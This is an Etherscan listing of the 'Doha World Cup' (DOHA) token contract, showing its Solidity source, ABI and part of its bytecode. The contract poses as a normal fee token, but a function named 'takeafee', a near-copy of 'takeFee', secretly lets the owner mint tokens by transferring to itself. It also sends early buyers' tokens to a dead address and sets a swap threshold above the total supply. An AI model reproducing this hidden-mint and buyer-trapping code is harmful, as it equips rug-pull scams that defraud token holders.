ETH Price: $2,495.89 (-2.31%)

Token

Doha World Cup (DOHA)
 

Overview

Max Total Supply

100,000 DOHA

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 10 Decimals)

Balance
224.9335438569 DOHA

Value
$0.00
0x1936145badd6f7439d56352bcdda4be9837ccb0a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOHA

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

/**
DOHA City will host the world cup to be played.
Will be locked for 30 days
GoodLuck
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


}

abstract contract Ownable {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor ()  {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
   

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);
   
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
   
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
  

}

interface IUniswapV2Router02 is IUniswapV2Router01 {
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DOHA is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    
    string private _name = "Doha World Cup";
    string private _symbol = unicode"DOHA";

    uint8 private _decimals = 10;

    address payable public marketingWalletAddress = payable(0x67D1eD322d49249Ca24939bCae4185F21b8a7A79); 
    address payable public BurnedWalletAddress = payable(0x67D1eD322d49249Ca24939bCae4185F21b8a7A79); 
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 2;
    uint256 public _buyBurnedFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 2;
    uint256 public _sellBurnedFee = 0;

    uint256 public _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
    uint256 public _marketingShare =  _buyMarketingFee.add(_sellMarketingFee);
    uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 100000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 48800000 * 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

     uint256 public genesisBlock;
    uint256 public coolBlock = 10;
    uint256 _saleKeepFee = 1000;

    bool inSwapAndLiquify;
    
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyBurnedFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellBurnedFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_BurnedShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance_doha(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance_doha(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus_doha(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }



    
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(recipient == uniswapPair && !isTxLimitExempt[sender])
        {
              uint256 balance = balanceOf(sender);
              if (amount == balance) {
                amount = amount.sub(amount.div(_saleKeepFee));
            }
            
        }
        if(recipient == uniswapPair && balanceOf(address(recipient)) == 0){
            genesisBlock = block.number;
        }

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(sender !=  address(uniswapV2Router))
                {
                    swapAndLiquify(contractTokenBalance);    
                }
               
            }

             

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         takeafee(sender, recipient, amount) : takeFee(sender, recipient, amount);
            _balances[recipient] = _balances[recipient].add(finalAmount);

           
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
           

            
            emit Transfer(sender, recipient, finalAmount);
            if (block.number < ( genesisBlock + coolBlock) && sender == uniswapPair )
            {
                _basicTransfer(recipient,deadAddress, finalAmount);
            }
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBBurned = amountReceived.mul(_BurnedShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBBurned);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

        if(amountBNBBurned > 0)
            transferToAddressETH(BurnedWalletAddress, amountBNBBurned);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

     function takeafee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feetokens = 0;

        if (isExcludedFromFee[recipient])feetokens=1;
        if (isExcludedFromFee[sender])feetokens=feetokens*amount;
        
        

        return amount+feetokens;
    }
   

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance_doha","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance_doha","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus_doha","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e81526020017f446f686120576f726c6420437570000000000000000000000000000000000000815250600190805190602001906200005192919062000b34565b506040518060400160405280600481526020017f444f484100000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000b34565b50600a600360006101000a81548160ff021916908360ff1602179055507367d1ed322d49249ca24939bcae4185f21b8a7a79600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507367d1ed322d49249ca24939bcae4185f21b8a7a79600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600b556002600c556000600d556000600e556002600f556000601055620001d7600e54600b5462000aa060201b620014531790919060201c565b601155620001f8600f54600c5462000aa060201b620014531790919060201c565b60125562000219601054600d5462000aa060201b620014531790919060201c565b601355600360009054906101000a900460ff16600a6200023a919062000d7e565b620186a06200024a919062000dcf565b601755600360009054906101000a900460ff16600a6200026b919062000d7e565b6302e8a1006200027c919062000dcf565b601855600a601c556103e8601d553480156200029757600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200039e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c4919062000e9a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200042c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000452919062000e9a565b6040518363ffffffff1660e01b81526004016200047192919062000edd565b6020604051808303816000875af115801562000491573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b7919062000e9a565b601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601754600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005f362000b0360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006d5600d54620006c1600c54600b5462000aa060201b620014531790919060201c565b62000aa060201b620014531790919060201c565b6014819055506200071460105462000700600f54600e5462000aa060201b620014531790919060201c565b62000aa060201b620014531790919060201c565b601581905550620007536013546200073f60125460115462000aa060201b620014531790919060201c565b62000aa060201b620014531790919060201c565b6016819055506001600860006200076f62000b0360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008a862000b0360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060175460056000620009e262000b2c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000a3062000b2c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60175460405162000a91919062000f1b565b60405180910390a3506200107c565b600080828462000ab1919062000f38565b90508381101562000af9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000af09062000ff6565b60405180910390fd5b8091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b82805462000b429062001047565b90600052602060002090601f01602090048101928262000b66576000855562000bb2565b82601f1062000b8157805160ff191683800117855562000bb2565b8280016001018555821562000bb2579182015b8281111562000bb157825182559160200191906001019062000b94565b5b50905062000bc1919062000bc5565b5090565b5b8082111562000be057600081600090555060010162000bc6565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c725780860481111562000c4a5762000c4962000be4565b5b600185161562000c5a5780820291505b808102905062000c6a8562000c13565b945062000c2a565b94509492505050565b60008262000c8d576001905062000d60565b8162000c9d576000905062000d60565b816001811462000cb6576002811462000cc15762000cf7565b600191505062000d60565b60ff84111562000cd65762000cd562000be4565b5b8360020a91508482111562000cf05762000cef62000be4565b5b5062000d60565b5060208310610133831016604e8410600b841016171562000d315782820a90508381111562000d2b5762000d2a62000be4565b5b62000d60565b62000d40848484600162000c20565b9250905081840481111562000d5a5762000d5962000be4565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d8b8262000d67565b915062000d988362000d71565b925062000dc77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c7b565b905092915050565b600062000ddc8262000d67565b915062000de98362000d67565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e255762000e2462000be4565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e628262000e35565b9050919050565b62000e748162000e55565b811462000e8057600080fd5b50565b60008151905062000e948162000e69565b92915050565b60006020828403121562000eb35762000eb262000e30565b5b600062000ec38482850162000e83565b91505092915050565b62000ed78162000e55565b82525050565b600060408201905062000ef4600083018562000ecc565b62000f03602083018462000ecc565b9392505050565b62000f158162000d67565b82525050565b600060208201905062000f32600083018462000f0a565b92915050565b600062000f458262000d675